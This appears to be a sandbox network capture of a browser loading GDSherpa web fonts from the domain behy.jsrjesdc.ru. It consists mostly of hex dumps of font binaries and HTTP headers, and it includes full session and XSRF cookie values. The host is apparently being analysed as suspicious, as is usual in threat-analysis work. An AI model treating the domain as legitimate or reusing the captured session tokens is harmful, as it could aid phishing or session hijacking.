2025-03-19 13:49:43 UTC	1369	IN	Data Raw: 8b db dc e1 ae 34 71 9f 1a 1e 88 cb 70 1e 8a 5b b4 91 7a f1 f6 84 97 e2 ae 91 57 62 e7 35 6f c5 ce 7b 3e 88 9d 26 fd 92 a5 83 6f e2 e7 bb 89 20 c5 78 4c 2c 79 26 ce 64 eb 35 6d bb 8c 6a b5 81 ae 5a 4c 95 dd f8 5b bf 71 47 f1 77 36 5e d5 2e 9e de b2 4f ed d1 63 6a b4 fd 60 53 6d ed 23 53 fd 9f 4a db b2 ee 2b 1a a3 2c d7 3e 53 96 5b f1 6a 9b 32 f4 1a 87 02 d3 d5 aa 37 92 fa bf 74 81 bb 45 00 00 00 78 da 63 60 66 99 c6 1c c4 c0 ca c0 c2 6a cc 72 86 81 81 61 26 84 66 02 e1 08 06 54 c0 8e cc 71 73 74 f3 07 52 0a bf 59 d8 72 fe e5 30 9c e0 d8 c7 e4 a5 c0 c0 30 19 24 c7 fc 82 2d 07 24 c7 c0 0c 00 39 34 0c f8 00 00 78 da 8d 95 09 94 4e 65 1c c6 7f cf 9d 45 a1 6c 61 b2 5c 77 3e 4c a4 84 8c ad 45 cb 0c 2a 29 a4 42 34 4a cb 90 f6 4c 08 63 8b 12 c3 60 b4 20 23 86 66 Data Ascii: 4qp[zWb5o{>&o xL,y&d5mjZL[qGw6^.Ocj`Sm#SJ+,>S[j27tExc`fjra&fTqstRYr00$-$94xNeEla\w>LE*)B4JLc` #f
2025-03-19 13:49:43 UTC	1369	IN	Data Raw: 91 10 5d ca c2 1c 63 b3 84 db 4c fb b7 2b d9 6b b4 2e d0 5b ea 61 fc 6e 33 2a 9b 6a 9f 91 fb a1 76 29 dd e8 3d 68 7f ff b0 8e a8 c0 c8 5e 64 df de 60 4c cd 32 ee f7 2b 5f 4b b5 dd 4e 9f 44 23 7b ba ed 44 1b d7 43 4b fc ab 97 35 b9 b4 7f 25 9d dc a2 03 c6 dd 5c ed d6 db 76 5a 8d 26 9f 83 d6 d3 24 eb f0 48 ed b5 2c e8 6a 89 d0 dd 72 a0 8c ff be a5 ec 63 19 50 42 fd 24 96 ab 97 79 ac 5f b9 df e2 d4 d3 3c 77 f7 ef a7 1d ba 82 00 00 78 da d4 bd 77 60 d3 c7 d9 38 7e f7 19 92 bc 2d cb f2 5e b2 6c cb 03 4f 59 96 b7 85 59 5e 18 4f 8c 07 78 63 63 1b 63 f6 0e 7b 86 04 08 64 11 c8 24 94 24 84 52 56 48 02 21 4d 9a 84 b6 d0 bc 0d 6d da a6 49 9a b6 69 4a 1a d2 b7 ed eb 24 2d 58 1f ff 9e bb cf b0 2c 5b 49 fb be df 7f 7e 06 5b d2 e9 b9 fb 3c f7 dc 73 cf ba e7 ee 10 83 0e Data Ascii: ]cL+k.[an3*jv)=h^d`L2+_KND#{DCK5%\vZ&$H,jrcPB$y_<wxw`8~-^lOYY^Oxccc{d$$RVH!MmIiJ$-X,[I~[<s
2025-03-19 13:49:43 UTC	1369	IN	Data Raw: 69 b1 01 93 ff d0 5f 7c 96 39 83 cb ec 37 98 22 e1 4d a1 46 f8 13 e9 74 26 73 dd fe f6 c8 79 e6 71 e1 f7 c2 16 68 58 e2 4f 6f 78 cb a3 60 5b 80 dc 77 a6 09 ba e4 c3 00 19 7d 59 68 96 d0 10 b8 5c 60 5a 46 4e f0 3b ef f6 fd 4d ac a7 aa a4 f3 15 c6 c0 5d cd 00 52 b8 0c d3 31 00 04 69 6d 3f 3f ad 9f c4 d5 80 14 41 c9 08 88 9d c7 6d 78 31 fc 6b 1b 16 8e dd 16 8e 0d 43 83 cf 71 0d 77 d6 71 d1 77 3f 26 bf 12 4e 5f d3 39 13 61 0b 55 43 63 4a d3 2c 16 5b 86 86 39 75 10 20 86 c9 d8 92 56 47 99 39 c3 82 fd 0c 34 37 12 cd 7e 7c 67 1d fb bb 11 03 91 2b 64 be 3c 0f f3 45 87 4c 28 d9 96 08 2c 2d 71 38 0f 4d 29 12 4f ef 8f 51 64 b8 bf 49 6f 02 c6 86 61 53 d1 61 8b 19 93 7a 92 9c 31 51 29 93 c2 c8 3c ce 32 a7 85 d1 ef d5 d4 7c 0f e3 d3 a7 31 26 ef 84 d1 d3 4b 9f ec 48 4e Data Ascii: i_\|97"MFt&syqhXOox`[w}Yh\`ZFN;M]R1im??Amx1kCqwqw?&N_9aUCcJ,[9u VG947~\|g+d<EL(,-q8M)OQdIoaSaz1Q)<2\|1&KHN
2025-03-19 13:49:43 UTC	1369	IN	Data Raw: b8 03 02 2d 63 74 8c 75 52 7a dc 89 fa ff da 75 5a 10 4e d6 d4 9c c4 cc e9 3d ef 55 8f d9 bf 77 4e 38 29 bf c3 f5 b5 63 72 7b 6e ed 83 9f 09 4f fc 19 48 fe de 04 f5 07 d6 17 f5 dd 54 3f 47 01 28 1a c5 a2 42 5b 9e 9e 07 9d 4b d9 81 f8 55 9d 30 b1 11 56 a1 0e 0d 78 55 e0 5b 81 03 43 2c a0 a0 40 04 86 69 44 58 60 74 50 34 54 0d 88 d7 6a dd 80 b1 45 9f 2e 4e 12 96 a2 8f 85 25 19 4e 84 66 00 b8 7b 5c 80 e4 ea f9 a6 e7 c6 14 d6 a5 a6 d6 15 c5 59 53 18 ad 7d 20 39 db 92 36 25 2b 27 09 3c 40 ea fd a5 84 77 e5 a7 d6 17 c6 18 0b eb d2 f3 db c3 ee fc 8c df 95 9b 9c 60 b5 26 24 e7 0a 8f 88 7e 21 f8 9e 42 25 bf 0f 78 39 04 85 a3 e9 b6 a9 81 98 63 40 41 72 4c 99 b7 0a 0c eb 52 b0 b1 30 c3 e3 0e aa 73 c8 24 24 dc 0c 76 38 4c ca 50 22 11 c3 c3 f4 3a 2f 4f 0f 77 37 0d 0a Data Ascii: -ctuRzuZN=UwN8)cr{nOHT?G(B[KU0VxU[C,@iDX`tP4TjE.N%Nf{\YS} 96%+'<@w`&$~!B%x9c@ArLR0s$$v8LP":/Ow7

Timestamp	Bytes transferred	Direction	Data
2025-03-19 13:49:43 UTC	1385	OUT	GET /GDSherpa-regular.woff2 HTTP/1.1 Host: behy.jsrjesdc.ru Connection: keep-alive Origin: https://behy.jsrjesdc.ru sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHP Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlJLN2pYSnM1UUxsc2UzejJWWnZtamc9PSIsInZhbHVlIjoieVY2V1JpdGNBL0ZYSHVpbUlpU1cvWUFCcFJ6VDhISldPbWx3OXlOYWZoUkdCNDNCVW1ERUFGM3RPRGcrcWx6NllKdEtlR2hjYzF5MHFSQmxSVjFMTkRoSjRzUzV5ZFUydXd1OGRGNGxWNGRMdkF5amNBSGF6c3Uzb3BpWUVCTEwiLCJtYWMiOiJkYmRmMDNiNjUxZDFmY2FhOTU5NzJiMGVmNTMyMTg5ZTEzYWJmZmZhNWM5YzllZDE3MTI3ZDhlYTVhZTU1ODIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdOOG9VUTVUUkwxRlBTMitaOW51UWc9PSIsInZhbHVlIjoiUi9rVFd0MmZwM1NoZjZiWDhNekxBWlNkV0V0TFZqRXFBbmdvWDBzZGdxSmdCeWhnbVR4dFI5Z1VWWVdJR2I4QjJBbjN3UGhGWGZrQUNuM0czaWViTnFZMEdHc051aDdGTXJ3WFNSZTNyQU83NVN4VmE0VFM4dmdPMkNuZlZPUjYiLCJtYWMiOiI0MDdjNWQ5ZDA1ZmI2MGFlZGQwM2ZlNDliYTM0ZmM0YWVhYmQ3NzVjMmMzNTdjNTRiOWI5YzExN2MyMmEyOGVmIiwidGFnIjoiIn0%3D
2025-03-19 13:49:43 UTC	1174	IN	HTTP/1.1 200 OK Date: Wed, 19 Mar 2025 13:49:43 GMT Content-Type: font/woff2 Content-Length: 28584 Connection: close Content-Disposition: inline; filename="GDSherpa-regular.woff2" Last-Modified: Wed, 19 Mar 2025 12:16:09 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=U9LSk%2FPCAhcFk3RligEC02XA2VtaJj%2B1kpZ401MShPJ1Dnmq8t%2B37epo8sMpEi6SCDtlgV1qXq7V%2BHlhY%2F8xfzNLUn9lLjviu4KlmXSiqQbHCeR5AMc%2FhAeg6plN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=16402&min_rtt=16380&rtt_var=6158&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2825&recv_bytes=2318&delivery_rate=246886&cwnd=244&unsent_bytes=0&cid=65546334f718f93e&ts=433&x=0" Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 5614 Accept-Ranges: bytes Server: cloudflare CF-RAY: 922d6f4b6a88e1e1-MRS alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=11499&min_rtt=11427&rtt_var=4337&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2822&recv_bytes=1957&delivery_rate=253434&cwnd=251&unsent_bytes=0&cid=f48a90014cccdb6d&ts=49&x=0"
2025-03-19 13:49:43 UTC	195	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 6f a8 00 10 00 00 00 01 36 78 00 00 6f 47 00 01 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 81 bc 3e 1c 89 16 06 60 00 8e 3c 08 3c 09 97 62 11 08 0a 82 c0 68 82 a2 42 01 36 02 24 03 8e 78 0b 87 3e 00 04 20 05 8c 27 07 97 7b 0c 81 0d 5b 78 22 71 04 dd b6 5d c4 a2 0a ca 1b ec 97 68 4a b7 df b3 0a d8 b1 27 dc 0e e2 ce 96 b5 c5 0a 36 ae 32 bb 5b 95 0a ec 05 71 f6 ff ff 7f 7a d2 88 b1 6d 43 77 77 ff 00 08 2a a9 65 55 b0 0a 53 9a a2 10 14 ad 17 8a 9a 11 30 8d c1 53 1a 73 a6 e1 b6 2c ad b0 c2 e4 5c e5 65 96 de 46 b1 26 ef 94 d7 16 Data Ascii: wOF2o6xoGB>`<<bhB6$x> '{[x"q]hJ'62[qzmCww*eUS0Ss,\eF&
2025-03-19 13:49:43 UTC	1369	IN	Data Raw: 8d 6f 55 2a 52 1a 7d 51 f7 43 8e e7 32 b9 54 44 c8 b6 e1 0a d3 35 11 09 23 e7 fa 68 14 48 a4 32 ac 7c 3c e8 31 a3 7a a7 a2 5d cf 78 5a f4 95 0f 7a 9d f0 7a b2 e4 97 57 f8 13 be d9 d9 8c a2 1d 9b a8 70 25 87 11 46 eb 65 fa 72 22 79 47 8c bc e1 0d 8b 92 c1 66 b3 4d 33 f2 5d 18 55 1b 70 f3 a0 b7 1c 8d 45 19 a1 3c 9d cb 3a e4 db 6a 81 9b 45 b7 f8 c1 e1 b0 ec a7 c9 b6 74 91 bb 98 ef 21 c7 16 ca bf a1 7e 61 b5 c0 03 4a fd 6d 98 ee 1c 94 66 e3 82 64 a7 65 45 ac c3 bb 3e d4 3a f4 39 85 0a fc c7 d9 99 2c 36 4b 7b e8 71 b2 15 36 65 b8 17 34 3a 7a b4 e5 d3 ff 7f d5 b4 7b ef 7b ef ff 0f 80 24 86 93 20 8a 94 9c 42 1a 83 d4 e6 39 3a 30 c6 47 0b 8d 36 e4 39 52 d3 b9 dc 14 bb 6d d7 a5 aa 6a 43 57 ac 6d 10 5d 3a 7b f7 70 e0 8f 3f 50 eb 4f 91 42 fa c8 45 cc b6 01 dd c4 75 Data Ascii: oU*R}QC2TD5#hH2\|<1z]xZzzWp%Fer"yGfM3]UpE<:jEt!~aJmfdeE>:9,6K{q6e4:z{{$ B9:0G69RmjCWm]:{p?POBEu
2025-03-19 13:49:43 UTC	1369	IN	Data Raw: 42 e0 81 06 13 5c a8 51 a7 45 87 2e 3d 36 9c 38 db 5f 95 2a 35 3a 74 eb b1 d7 7e 07 1c 72 8a dc a0 f3 2e bb ea 1a 85 5b be e1 b7 ae 45 16 a7 97 a6 97 a7 d7 a7 b7 df df f6 d1 c7 9f 7c fa d9 e7 5f 7c f9 d5 d7 df 7c db 5d f7 bd 64 0f 0c 27 26 a7 a6 47 33 b3 fb f6 1f 38 78 68 6e 71 69 79 65 75 6d fd e4 a9 b3 e3 8d 73 e7 af 5e bf 79 ef fe 83 87 8f b6 1e 3f f9 f3 9f 58 9a 82 86 1f 14 46 8a 40 1a 1b 7a 01 35 e4 a7 cb 42 c2 8c cb 67 c9 7e 38 c8 2a 82 f2 62 14 42 0d 1b 75 31 c1 78 4a 5e bf 2c 2b 6d 8b 27 04 9e 3e 6d e9 7b 86 76 fb 60 50 1b 34 94 88 22 33 51 bc a1 68 24 f2 32 83 65 61 3f 18 48 15 94 c8 55 27 f2 4b de c9 51 8a dc 48 4d a6 31 ea c4 68 65 e5 5d b1 81 46 26 93 b0 07 f7 31 7a 10 ab d2 82 1f 29 0c 97 2c 1d f4 28 5a 41 13 73 52 90 c2 af a0 ce 1d c8 91 f5 Data Ascii: B\QE.=68_5:t~r.[E\|_\|\|]d'&G38xhnqiyeums^y?XF@z5Bg~8bBu1xJ^,+m'>m{v`P4"3Qh$2ea?HU'KQHM1he]F&1z),(ZAsR
2025-03-19 13:49:43 UTC	1369	IN	Data Raw: 5e 1b 61 14 5c 66 14 4e 2d cd 68 52 82 8f 80 7d 85 a7 3b df f9 4e a3 34 51 9c 16 3a d7 60 d3 dc 02 d4 08 82 04 d1 4f 32 e3 5a ab 72 dc 86 8f 14 96 37 de ad 0a aa 5f 21 4c 44 82 9a e7 f5 70 28 82 4f 23 f1 4c f0 1f 64 40 c9 5d ef 4e 34 73 9b 4f 1b c9 64 37 06 61 ef df 1b 02 4a c5 59 98 4b 0f 36 d0 5a 73 f5 66 c0 15 ed 9b ba b7 ff 63 21 49 05 47 7d 49 d8 17 b6 ee 07 ce d7 67 ec 43 6b 60 27 b7 64 26 32 b9 85 27 73 35 1c 97 af d5 11 87 28 82 6b db ba 8b 44 03 ea 74 51 f8 50 29 92 60 37 24 39 9a f2 78 10 00 7e 0c f8 fb af 87 98 f5 21 fa 03 f0 fe 0b c0 e7 1e 18 3f 20 9f 15 d5 73 9b e0 ea 0d c0 0a 55 22 1f d7 be 95 c7 07 d0 10 c0 9f 4b 7d 9f 65 ef 23 8a 59 c2 cf f6 39 45 cb af 3e 0e 84 bc 8b 2b 32 5e 84 60 79 e3 43 df da 81 bc 1f 6f ed af cd 01 69 36 13 85 22 36 Data Ascii: ^a\fN-hR};N4Q:`O2Zr7_!LDp(O#Ld@]N4sOd7aJYK6Zsfc!IG}IgCk`'d&2's5(kDtQP)`7$9x~!? sU"K}e#Y9E>+2^`yCoi6"6
2025-03-19 13:49:43 UTC	1369	IN	Data Raw: bb a2 c7 61 47 05 cd 3a ae 14 b4 d5 6d a1 1c b7 6c fc 84 fb 09 23 4e d3 ba 7f 28 8e 71 11 b6 db ea 4b 87 c4 04 bc 1b 9b 5a 38 ec 42 13 a1 09 df 69 37 99 1a 14 18 87 12 f8 38 3f bd ee b0 ad 34 7f fe fe a1 c6 53 ee bf ff bb a3 5f be 98 44 87 d1 39 8c c2 ff 5f ff ab bd e1 99 eb 7d 62 b1 48 28 0a 09 29 77 a6 55 70 c0 46 c3 ef 87 ba fe f8 99 9d db 78 1a 36 d6 74 7b 64 aa 20 1d b4 0b da 52 ff b3 d9 6a ef a5 a3 cf 1e 4f b4 02 97 09 94 f4 54 1f b3 7b 6d d4 8f 17 ee 2b cb 6b bb f3 ea e3 59 e2 05 ad 79 b9 68 05 49 62 56 99 cd 2c 54 d4 60 96 43 2f d0 0c 20 86 46 3c ac f7 3d 89 a7 0d b5 e3 56 65 b1 b7 00 cd 75 98 87 03 be 30 f6 77 7d 37 26 c2 a1 c8 bb 23 8d 05 33 c9 a9 ba fd 4a 4e 76 e7 e9 b5 cf eb 6f f8 f9 e4 e6 e6 fd f5 f5 c0 ec 74 98 9c c3 35 07 f7 49 c9 89 8f d4 Data Ascii: aG:ml#N(qKZ8Bi78?4S_D9_}bH()wUpFx6t{d RjOT{m+kYyhIbV,T`C/ F<=Veu0w}7&#3JNvot5I
2025-03-19 13:49:43 UTC	1369	IN	Data Raw: f9 b6 62 b0 1e b7 78 dc ea 5c 86 71 c8 97 4a 94 2a a5 6f c4 3b 1a f7 4e 18 11 6e b1 04 9b 00 c4 4b da 94 b2 c8 52 e2 05 c3 94 d9 72 ad 27 95 4d df 48 08 4a a6 52 9a b5 26 42 67 0a 38 40 82 a1 65 99 d1 14 0a 63 bb 02 65 03 1e b3 c1 4a 4a 70 14 81 51 bf 67 c4 ef 2d e0 ae 3c b5 8f a9 a0 84 eb 9c 47 12 a6 10 45 87 23 73 0e b0 da 1e 15 0a fc c1 0e 13 a5 50 38 85 2b 3c 7c e5 bc 63 2e ba ec a4 ab 6e 93 1b ca 77 a9 b0 83 40 8e 5a fe f3 ce 37 c6 6d de 9f 7d d0 94 93 1c 3e 5e 7a f2 4c c5 39 f3 28 f5 dd e5 4a 1e bc b4 f4 ca 53 cb 9f 31 a5 e3 9e 77 42 fc 4b e4 12 ff 64 d3 65 37 bf ee 0a 29 21 1a 30 9f 2b 10 db 01 f2 b4 80 14 6f 25 7a 77 ff 40 e5 94 81 a9 41 35 1f 6c 34 47 ab 5d 80 de dd f8 70 fb 7f ad 3c 00 d4 01 16 a0 fc e6 7e 25 3f ba dc 73 f2 84 c3 1e d6 4f 02 c7 Data Ascii: bx\qJ*o;NnKRr'MHJR&Bg8@eceJJpQg-<GE#sP8+<\|c.nw@Z7m}>^zL9(JS1wBKde7)!0+o%zw@A5l4G]p<~%?sO
2025-03-19 13:49:43 UTC	1369	IN	Data Raw: ac cb cb c7 d7 dd 1e 70 d9 23 9e cc b6 34 2b 7f ba bb 56 b2 21 d9 91 ec 77 96 1e fd 2a ac 74 bf da c3 fb f6 12 f9 bd 56 78 38 7d 23 10 f1 30 72 89 28 28 55 99 d2 63 97 01 87 fb 57 f8 02 a6 e7 7c ec d7 42 fb 31 97 76 f3 f4 f1 d4 d1 c9 2c 3b d9 cb 32 27 b8 e0 ba bb de f0 e9 81 c3 4d 9b c7 9d de 2b 5e aa 39 d5 f6 68 3c ca c3 b5 45 4b 26 69 35 3b 22 f8 66 00 cf 15 c3 bf a1 9f 94 ff a2 a5 42 76 c4 5f 6d a9 db 34 3d bc e8 cf ef d9 4c cd 9c 69 e9 df c1 83 ef 7e ef e7 76 36 b9 7b 7f f0 2f cd 9d dc 1c b8 ff 9c dd e9 ce e6 6c d0 89 3f 17 00 e0 55 3f 77 1e 45 08 4a c1 0e 70 80 2b 7f c4 29 43 1e 79 e5 4d ad 41 79 75 1d 85 fa 9d 91 63 fa 53 a2 5a 2d 3a 68 d9 31 27 9c 73 c2 05 97 28 dc 74 3b f0 57 d3 3d 8f cc d7 42 9d 78 06 d5 ef c4 6c 34 dd a5 c7 87 9e d3 f6 ba ba 2b Data Ascii: p#4+V!w*tVx8}#0r((UcW\|B1v,;2'M+^9h<EK&i5;"fBv_m4=Li~v6{/l?U?wEJp+)CyMAyucSZ-:h1's(t;W=Bxl4+
2025-03-19 13:49:43 UTC	1369	IN	Data Raw: 37 6b 03 94 36 87 01 2a 13 11 d9 7c 0a 28 59 6b 18 f4 5e a6 d5 a4 05 8d 26 6a 85 d4 a4 0a db ef bd f5 f5 24 41 23 8d df ff df 9f 75 de 3d 5c 2a 8e 8a 06 e5 2d 47 4d 23 29 a5 b1 31 28 ad 8d 49 e9 6c 2c 4a 6f 63 53 06 1b 87 32 da b8 94 c9 c6 a3 cc 36 fe 1a 3f a6 73 3f a9 6a 37 c6 d4 41 be bc 63 57 27 50 e1 3c 5e f4 5b 33 e8 7c 78 d1 df 1b b4 85 35 b6 5c 36 da 4a 5b 68 1b cc e0 b1 1d 08 76 00 c1 4e 20 d8 05 04 bb 81 60 0f 10 ec 05 82 7d 40 c2 21 d4 d3 c3 46 a9 70 4c 65 af 6a 46 9e cc 86 31 c4 ca 93 6e fa 8b 26 02 61 27 3c 70 a2 48 2b 19 30 64 c3 7d 1b 0d 93 af 05 36 b8 d6 89 0d 6b 21 ee 12 1d 34 b6 ec 2c 72 14 83 c2 a5 c5 b5 62 52 15 4e a0 3b bc 1e 41 92 35 ba 24 b0 77 e8 84 21 2c 04 cd 2f 1c 7f f1 34 9f d8 fd 96 90 9d 9b 4e 0a f5 5a f1 fa 4b 09 50 c3 7d 27 Data Ascii: 7k6\|(Yk^&j$A#u=\-GM#)1(Il,JocS26?s?j7AcW'P<^[3\|x5\6J[hvN `}@!FpLejF1n&a'<pH+0d}6k!4,rbRN;A5$w!,/4NZKP}'
2025-03-19 13:49:43 UTC	1369	IN	Data Raw: bb 7f c9 f7 06 83 bb 61 7a 62 23 79 f5 3b 28 a6 5c d2 1d 3d ea ab 52 7f b3 e4 c5 8a e7 64 eb e7 db 56 a9 4a 4d 4e 76 e0 c0 e5 8f 67 a6 d1 80 5c 74 14 31 90 d2 76 77 53 81 cc 76 21 c7 06 d9 2a fd 90 78 fb 11 1e b0 6c 7b 16 1e f7 81 66 5f c9 86 78 07 ae e5 f3 a1 92 c8 76 3e f6 dd ea 77 6c b0 c9 ca 8f c0 a9 18 d9 95 b0 d2 74 0b f5 36 bb 67 96 9a 5e 08 c2 ec 5f 59 dd 1f 29 29 63 7f 76 09 e5 97 48 e8 5d f2 d6 98 90 17 6e f9 c3 53 16 8c aa 2b c1 2a 8d 58 31 50 cf fd 70 ff a0 1e a6 51 22 eb 5a 71 c5 62 86 2e 66 bd 65 dd 0b 36 b8 6d d8 71 f6 dc 7a e8 63 42 90 c8 3e a8 c9 f5 84 34 c7 20 4f 6c 24 ca fb 3c c0 f6 c8 18 df 9b 6b a7 c8 e5 b0 7d 19 a9 d8 05 3d 6e ae ac d9 c8 19 20 6f 5d 9a 62 23 46 a3 8c 62 6a f5 2e b3 82 87 30 d2 b4 99 c8 68 4c 11 a6 c2 ba 94 c3 07 d8 Data Ascii: azb#y;(\=RdVJMNvg\t1vwSv!xl{f_xv>wlt6g^_Y))cvH]nS+X1PpQ"Zqb.fe6mqzcB>4 Ol$<k}=n o]b#Fbj.0hL
2025-03-19 13:49:43 UTC	1369	IN	Data Raw: 51 89 0c af af d6 08 f5 ba 52 1f 83 11 8c 44 af 70 d0 f8 f9 de 3a 8b 49 d2 46 fd 16 da 55 b0 0c 6a dd 10 5f 4a 41 41 89 e4 f8 97 16 36 ed c3 ef 99 de f6 51 01 96 66 e6 a7 06 d4 cd 83 c0 f2 ba bf 84 b5 69 1d 3c 31 46 2a 3b 9d b5 03 b9 b3 6d bd ab 4c c2 7c 42 09 c5 39 09 c8 ef 63 09 78 83 6f 48 a6 3b 90 83 18 25 79 72 47 76 61 ce 4c 5a 32 c0 de 11 19 13 b2 8b 01 14 50 48 67 17 c1 40 9f db d1 a2 30 99 cc 05 c2 9a d3 ff a9 3e ad 38 62 c6 8e bc ff 60 25 ac b5 5f 29 60 4d 64 62 88 b5 75 68 36 25 a7 c5 8e 03 24 9a 35 ce 03 45 e8 95 1f d1 53 2c 89 12 45 38 ef 68 4d c8 41 86 ad 65 02 ba 80 91 0a 3e b2 ef 49 f7 d3 6e 28 e2 5d dd 8f 29 2e 26 69 14 e7 02 2c 7b 38 8a 58 2e 78 32 56 f5 90 cb c2 fb 4c a6 c2 43 26 f9 51 57 dd 88 a8 44 c8 d2 8c 7f 2d 77 c2 40 5d 4d d6 a6 Data Ascii: QRDp:IFUj_JAA6Qfi<1F*;mL\|B9cxoH;%yrGvaLZ2PHg@0>8b`%_)`Mdbuh6%$5ES,E8hMAe>In(]).&i,{8X.x2VLC&QWD-w@]M

Timestamp	Bytes transferred	Direction	Data
2025-03-19 13:49:43 UTC	1384	OUT	GET /GDSherpa-regular.woff HTTP/1.1 Host: behy.jsrjesdc.ru Connection: keep-alive Origin: https://behy.jsrjesdc.ru sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHP Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlJLN2pYSnM1UUxsc2UzejJWWnZtamc9PSIsInZhbHVlIjoieVY2V1JpdGNBL0ZYSHVpbUlpU1cvWUFCcFJ6VDhISldPbWx3OXlOYWZoUkdCNDNCVW1ERUFGM3RPRGcrcWx6NllKdEtlR2hjYzF5MHFSQmxSVjFMTkRoSjRzUzV5ZFUydXd1OGRGNGxWNGRMdkF5amNBSGF6c3Uzb3BpWUVCTEwiLCJtYWMiOiJkYmRmMDNiNjUxZDFmY2FhOTU5NzJiMGVmNTMyMTg5ZTEzYWJmZmZhNWM5YzllZDE3MTI3ZDhlYTVhZTU1ODIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdOOG9VUTVUUkwxRlBTMitaOW51UWc9PSIsInZhbHVlIjoiUi9rVFd0MmZwM1NoZjZiWDhNekxBWlNkV0V0TFZqRXFBbmdvWDBzZGdxSmdCeWhnbVR4dFI5Z1VWWVdJR2I4QjJBbjN3UGhGWGZrQUNuM0czaWViTnFZMEdHc051aDdGTXJ3WFNSZTNyQU83NVN4VmE0VFM4dmdPMkNuZlZPUjYiLCJtYWMiOiI0MDdjNWQ5ZDA1ZmI2MGFlZGQwM2ZlNDliYTM0ZmM0YWVhYmQ3NzVjMmMzNTdjNTRiOWI5YzExN2MyMmEyOGVmIiwidGFnIjoiIn0%3D
2025-03-19 13:49:43 UTC	1169	IN	HTTP/1.1 200 OK Date: Wed, 19 Mar 2025 13:49:43 GMT Content-Type: font/woff Content-Length: 36696 Connection: close Content-Disposition: inline; filename="GDSherpa-regular.woff" Age: 5615 Last-Modified: Wed, 19 Mar 2025 11:57:14 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eTzzvYmMrhVZ8VHQWLMlUScSLzQTUOsfYkmh%2BsLv%2B84z0KoSsu3cXNwT%2FLmOO36WOjvd9wFQfS%2FV1SqObwBZhP81jfz%2B3M2Knxf7xRsTZyYSnAjzUSrKTxtr0mbW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=18725&min_rtt=18663&rtt_var=7043&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2825&recv_bytes=2316&delivery_rate=216685&cwnd=239&unsent_bytes=0&cid=8f58593b739e8b77&ts=39&x=0" Cache-Control: max-age=14400 CF-Cache-Status: HIT Accept-Ranges: bytes Server: cloudflare CF-RAY: 922d6f4b6b5d18a5-MRS alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=11409&min_rtt=11405&rtt_var=4285&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2823&recv_bytes=1956&delivery_rate=253146&cwnd=249&unsent_bytes=0&cid=6a44825e7621238a&ts=55&x=0"
2025-03-19 13:49:43 UTC	200	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 8f 58 00 11 00 00 00 01 36 90 00 01 00 00 00 00 8e 30 00 00 01 28 00 00 02 97 00 00 00 00 00 00 00 00 44 53 49 47 00 00 8e 28 00 00 00 08 00 00 00 08 00 00 00 01 47 50 4f 53 00 00 01 80 00 00 18 99 00 00 5e 3e 80 e1 18 da 47 53 55 42 00 00 1a 1c 00 00 02 ad 00 00 04 96 8c 33 79 b9 4f 53 2f 32 00 00 1c cc 00 00 00 46 00 00 00 60 68 60 7b 5a 63 6d 61 70 00 00 1d 14 00 00 05 1a 00 00 07 3c 97 3f 2b 12 63 76 74 20 00 00 87 b0 00 00 00 30 00 00 00 3c 28 d6 01 ad 66 70 67 6d 00 00 87 e0 00 00 05 c1 00 00 0b e2 3f ae 1b 9f 67 61 73 70 00 00 87 a8 00 00 00 08 00 00 00 08 Data Ascii: wOFFX60(DSIG(GPOS^>GSUB3yOS/2F`h`{Zcmap<?+cvt 0<(fpgm?gasp
